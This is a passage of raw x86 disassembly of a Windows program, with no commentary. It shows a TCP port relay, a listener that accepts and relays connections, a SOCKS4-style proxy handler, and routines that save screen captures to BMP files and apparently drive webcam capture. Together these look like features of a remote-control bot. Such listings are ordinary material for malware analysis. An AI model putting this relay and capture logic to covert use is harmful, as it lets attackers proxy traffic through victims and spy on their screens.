pop ecx
jmp short loc_407B89
; ---------------------------------------------------------------------------
loc_407B74: ; CODE XREF: sub_407A23+15Cj
push 32h
call dword_423064 ; Sleep
loc_407B7C: ; CODE XREF: sub_407A23+13Aj
cmp [ebp+var_2C], esi
jz short loc_407B74
jmp loc_407ACD
; ---------------------------------------------------------------------------
loc_407B86: ; CODE XREF: sub_407A23+61j
; sub_407A23+93j ...
mov edi, [ebp+arg_0]
loc_407B89: ; CODE XREF: sub_407A23+14Fj
push edi
call dword_43EBBC ; closesocket
push ebx
call dword_43EBBC ; closesocket
push [ebp+var_3C]
call sub_416D90
pop ecx
push esi
call dword_423054 ; ExitThread
pop edi
pop esi
pop ebx
sub_407A23 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_407BAA proc near ; DATA XREF: sub_407A23+11Co
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_417830
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp+var_4], ebx
call dword_43EBA4 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_407D0D
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_43EB24 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_43EB64 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_407C3A
lea eax, [ebp+var_13C]
push eax
call dword_43EBA8 ; gethostbyname
jmp short loc_407C48
; ---------------------------------------------------------------------------
loc_407C3A: ; CODE XREF: sub_407BAA+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_43EADC ; gethostbyaddr
loc_407C48: ; CODE XREF: sub_407BAA+8Ej
cmp eax, edi
jz loc_407D0D
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_43EACC ; connect
cmp eax, 0FFFFFFFFh
jz loc_407D0D
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_42A790
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_344]
push 10h
push eax
call sub_416A7A
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_444574[ebx]
mov dword_44456C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_444578[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_407D92
push edi
push edi
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_44457C[ecx], eax
jnz short loc_407D46
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_42A740
call sub_40BE01
pop ecx
pop ecx
loc_407D0D: ; CODE XREF: sub_407BAA+44j
; sub_407BAA+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_444574[eax]
call dword_43EBBC ; closesocket
push [ebp+arg_0]
call dword_43EBBC ; closesocket
push [ebp+var_4]
call sub_416D90
pop ecx
push edi
call dword_423054 ; ExitThread
pop edi
pop esi
pop ebx
loc_407D3E: ; CODE XREF: sub_407BAA+19Fj
push 32h
call dword_423064 ; Sleep
loc_407D46: ; CODE XREF: sub_407BAA+14Ej
cmp [ebp+var_20], edi
jz short loc_407D3E
mov ebx, 1000h
loc_407D50: ; CODE XREF: sub_407BAA+1E1j
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_43EB3C ; recv
cmp eax, edi
jle short loc_407D0D
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407D50
jmp loc_407D0D
sub_407BAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407D92 proc near ; DATA XREF: sub_407BAA+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_417830
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_407DC9: ; CODE XREF: sub_407D92+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_444578[esi]
call dword_43EB3C ; recv
test eax, eax
jle short loc_407E10
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_444574[esi]
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407DC9
loc_407E10: ; CODE XREF: sub_407D92+61j
push dword_444578[esi]
call dword_43EBBC ; closesocket
push [ebp+var_14]
call sub_416D90
pop ecx
push 0
call dword_423054 ; ExitThread
pop edi
pop esi
sub_407D92 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E2F proc near ; DATA XREF: sub_40EC43+5E39o
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
xor edi, edi
xor esi, esi
inc edi
push ebx
mov [eax+0A8h], edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_43EB24 ; htons
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_43EBA4 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_444574[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_43EB50 ; bind
test eax, eax
jnz loc_407FD0
push 0Ah
push edi
call dword_43EB4C ; listen
test eax, eax
jnz loc_407FD0
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AD08
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset unk_42A8CC
push eax
call sub_416FB6
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_407F0A
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_40D476
add esp, 14h
loc_407F0A: ; CODE XREF: sub_407E2F+B9j
; sub_407E2F+18Aj ...
lea eax, [ebp+var_2D4]
push eax
call sub_40BD8D
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_43EBB8 ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_2D4]
push offset unk_42A870
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2D4]
push 11h
push eax
call sub_416A7A
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_44456C[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_408033
push esi
push esi
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_44457C[ecx], eax
jnz short loc_407FC6
call dword_42308C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D4]
push offset unk_42A828
push eax
call sub_416FB6
add esp, 0Ch
jmp loc_407F0A
; ---------------------------------------------------------------------------
loc_407FBE: ; CODE XREF: sub_407E2F+19Aj
push 5
call dword_423064 ; Sleep
loc_407FC6: ; CODE XREF: sub_407E2F+16Dj
cmp [ebp+var_28], esi
jz short loc_407FBE
jmp loc_407F0A
; ---------------------------------------------------------------------------
loc_407FD0: ; CODE XREF: sub_407E2F+7Bj
; sub_407E2F+8Cj
push edi
call dword_43EBBC ; closesocket
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset unk_42A7E4
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_408013
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_40D476
add esp, 14h
loc_408013: ; CODE XREF: sub_407E2F+1C2j
lea eax, [ebp+var_2D4]
push eax
call sub_40BD8D
push [ebp+var_3C]
call sub_416D90
pop ecx
pop ecx
push esi
call dword_423054 ; ExitThread
pop edi
pop esi
pop ebx
sub_407E2F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408033 proc near ; DATA XREF: sub_407E2F+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
xor edi, edi
mov [ebp+arg_0], esi
imul esi, 234h
inc edi
lea esi, dword_444574[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_43EB0C ; select
test eax, eax
jnz short loc_4080B4
push dword ptr [esi]
call dword_43EBBC ; closesocket
push [ebp+arg_0]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_4080B4: ; CODE XREF: sub_408033+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_43EB3C ; recv
test eax, eax
jg short loc_4080E5
push dword ptr [esi]
call dword_43EBBC ; closesocket
push [ebp+arg_0]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_4080E5: ; CODE XREF: sub_408033+98j
cmp [ebp+var_4D0], 4
jnz loc_4082DF
cmp [ebp+var_4CF], 1
jnz loc_4082DF
cmp [ebp+var_44], bl
jz short loc_40817B
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_40817B
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset unk_42A9A8
call sub_40BE01
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_417030
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43EB74 ; send
push dword ptr [esi]
call dword_43EBBC ; closesocket
push [ebp+arg_0]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_40817B: ; CODE XREF: sub_408033+CFj
; sub_408033+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_417030
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_43EBA4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_408213
call dword_43EAB8 ; WSAGetLastError
push eax
push offset unk_42A958
call sub_40BE01
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_417030
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43EB74 ; send
push dword ptr [esi]
call dword_43EBBC ; closesocket
push [ebp+arg_0]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_408213: ; CODE XREF: sub_408033+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_43EACC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_408282
call dword_43EAB8 ; WSAGetLastError
push eax
push offset unk_42A908
call sub_40BE01
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_417030
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43EB74 ; send
push dword ptr [esi]
call dword_43EBBC ; closesocket
push [ebp+arg_0]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_408282: ; CODE XREF: sub_408033+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43EB74 ; send
push dword ptr [esi]
push edi
call sub_4082F7
pop ecx
pop ecx
push edi
call dword_43EBBC ; closesocket
push dword ptr [esi]
call dword_43EBBC ; closesocket
push [ebp+arg_0]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_4082DF: ; CODE XREF: sub_408033+B9j
; sub_408033+C6j
push dword ptr [esi]
call dword_43EBBC ; closesocket
push [ebp+arg_0]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
sub_408033 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4082F7 proc near ; CODE XREF: sub_408033+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_40830D: ; CODE XREF: sub_4082F7+BEj
; sub_4082F7+EEj
xor ecx, ecx
mov [ebp+var_100], ebx
inc ecx
xor eax, eax
mov [ebp+var_104], ecx
loc_40831E: ; CODE XREF: sub_4082F7+36j
mov edx, [ebp+arg_0]
cmp [ebp+eax*4+var_100], edx
jz short loc_40832F
inc eax
cmp eax, ecx
jb short loc_40831E
loc_40832F: ; CODE XREF: sub_4082F7+31j
cmp eax, ecx
jnz short loc_408343
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_408343: ; CODE XREF: sub_4082F7+3Aj
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_43EB0C ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_43EA1C ; __WSAFDIsSet
test eax, eax
jz short loc_4083A3
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_43EB3C ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4083EB
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4083EB
loc_4083A3: ; CODE XREF: sub_4082F7+7Ej
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_43EA1C ; __WSAFDIsSet
test eax, eax
jz loc_40830D
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_43EB3C ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4083EB
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jnz loc_40830D
loc_4083EB: ; CODE XREF: sub_4082F7+93j
; sub_4082F7+AAj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4082F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4083F0 proc near ; CODE XREF: sub_40EC43+4565p
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_43EB10 ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_408624
push 8
push edi
call dword_43EB2C ; GetDeviceCaps
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_43EB2C ; GetDeviceCaps
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_43EB2C ; GetDeviceCaps
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_408452
push 18h
push edi
call dword_43EB2C ; GetDeviceCaps
mov ebx, 100h
jmp short loc_408454
; ---------------------------------------------------------------------------
loc_408452: ; CODE XREF: sub_4083F0+50j
xor ebx, ebx
loc_408454: ; CODE XREF: sub_4083F0+60j
push edi
call dword_43EB70 ; CreateCompatibleDC
cmp eax, esi
mov [ebp+var_4], eax
jz loc_408609
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_43EB68 ; CreateDIBSection
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_408614
push eax
push [ebp+var_4]
call dword_43EA00 ; SelectObject
cmp eax, esi
jz loc_408614
cmp eax, 0FFFFFFFFh
jz loc_408614
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_43EB6C ; BitBlt
test eax, eax
jz loc_408614
cmp ebx, esi
jz short loc_408511
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_43EA54 ; GetDIBColorTable
mov ebx, eax
loc_408511: ; CODE XREF: sub_4083F0+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call dword_423084 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4085F4
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
call dword_42307C ; WriteFile
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
call dword_42307C ; WriteFile
cmp ebx, esi
jz short loc_4085D6
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call dword_42307C ; WriteFile
loc_4085D6: ; CODE XREF: sub_4083F0+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
call dword_42307C ; WriteFile
push [ebp+arg_0]
call dword_423078 ; CloseHandle
xor esi, esi
inc esi
loc_4085F4: ; CODE XREF: sub_4083F0+1A2j
push [ebp+var_1C]
call dword_43EA88 ; DeleteObject
push [ebp+var_4]
call dword_43E9EC ; DeleteDC
mov edi, [ebp+var_20]
loc_408609: ; CODE XREF: sub_4083F0+70j
push edi
call dword_43E9EC ; DeleteDC
mov eax, esi
jmp short loc_408626
; ---------------------------------------------------------------------------
loc_408614: ; CODE XREF: sub_4083F0+C7j
; sub_4083F0+D9j ...
push edi
call dword_43E9EC ; DeleteDC
push [ebp+var_4]
call dword_43E9EC ; DeleteDC
loc_408624: ; CODE XREF: sub_4083F0+23j
xor eax, eax
loc_408626: ; CODE XREF: sub_4083F0+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4083F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40862B proc near ; CODE XREF: sub_40EC43+46A1p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
xor esi, esi
push edi
inc esi
xor ebx, ebx
push esi
push dword_43D5C4
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_43EA7C
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_408669
mov eax, esi
jmp loc_40881F
; ---------------------------------------------------------------------------
loc_408669: ; CODE XREF: sub_40862B+35j
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_408686
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_43EB80 ; SendMessageA
jmp short loc_408688
; ---------------------------------------------------------------------------
loc_408686: ; CODE XREF: sub_40862B+47j
xor eax, eax
loc_408688: ; CODE XREF: sub_40862B+59j
cmp eax, ebx
jnz short loc_408693
loc_40868C: ; CODE XREF: sub_40862B+88j
; sub_40862B+BCj
mov ebx, esi
jmp loc_408814
; ---------------------------------------------------------------------------
loc_408693: ; CODE XREF: sub_40862B+5Fj
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_4086B0
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_43EB80 ; SendMessageA
loc_4086B0: ; CODE XREF: sub_40862B+71j
cmp [ebp+var_20], ebx
jz short loc_40868C
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_4086D6
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_43EB80 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_4086D9
; ---------------------------------------------------------------------------
loc_4086D6: ; CODE XREF: sub_40862B+98j
mov [ebp+arg_4], ebx
loc_4086D9: ; CODE XREF: sub_40862B+A9j
push [ebp+arg_4]
call sub_417889
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_40868C
push [ebp+arg_4]
call sub_417889
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_408700
xor ebx, ebx
inc ebx
jmp loc_408814
; ---------------------------------------------------------------------------
loc_408700: ; CODE XREF: sub_40862B+CBj
push [ebp+var_4]
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_40871D
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_43EB80 ; SendMessageA
loc_40871D: ; CODE XREF: sub_40862B+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_417090
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_408738
mov ecx, 280h
loc_408738: ; CODE XREF: sub_40862B+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_408744
mov eax, 1E0h
loc_408744: ; CODE XREF: sub_40862B+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_43EAC4 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_40878E
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_43EB80 ; SendMessageA
loc_40878E: ; CODE XREF: sub_40862B+153j
push [ebp+var_4]
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_4087AB
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_43EB80 ; SendMessageA
loc_4087AB: ; CODE XREF: sub_40862B+16Ej
push [ebp+var_4]
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_4087CA
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_43EB80 ; SendMessageA
loc_4087CA: ; CODE XREF: sub_40862B+18Bj
push [ebp+var_4]
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_4087E7
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_43EB80 ; SendMessageA
loc_4087E7: ; CODE XREF: sub_40862B+1AAj
push [ebp+var_8]
call sub_41793B
push esi
call sub_41793B
pop ecx
pop ecx
push [ebp+var_4]
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_408814
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_43EB80 ; SendMessageA
loc_408814: ; CODE XREF: sub_40862B+63j
; sub_40862B+D0j ...
push [ebp+var_4]
call dword_43EBD4 ; DestroyWindow
mov eax, ebx
loc_40881F: ; CODE XREF: sub_40862B+39j
pop edi
pop esi
pop ebx
leave
retn
sub_40862B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408824 proc near ; CODE XREF: sub_40EC43+475Ep
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
xor esi, esi
push edi
inc esi
xor ebx, ebx
push esi
push dword_43D5C4
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_43EA7C
mov edi, eax
cmp edi, ebx
jnz short loc_408862
mov eax, esi
jmp loc_408A5E
; ---------------------------------------------------------------------------
loc_408862: ; CODE XREF: sub_408824+35j
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_40887F
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_43EB80 ; SendMessageA
jmp short loc_408881
; ---------------------------------------------------------------------------
loc_40887F: ; CODE XREF: sub_408824+47j
xor eax, eax
loc_408881: ; CODE XREF: sub_408824+59j
cmp eax, ebx
jnz short loc_40888C
loc_408885: ; CODE XREF: sub_408824+8Bj
; sub_408824+BCj
mov ebx, esi
jmp loc_408A55
; ---------------------------------------------------------------------------
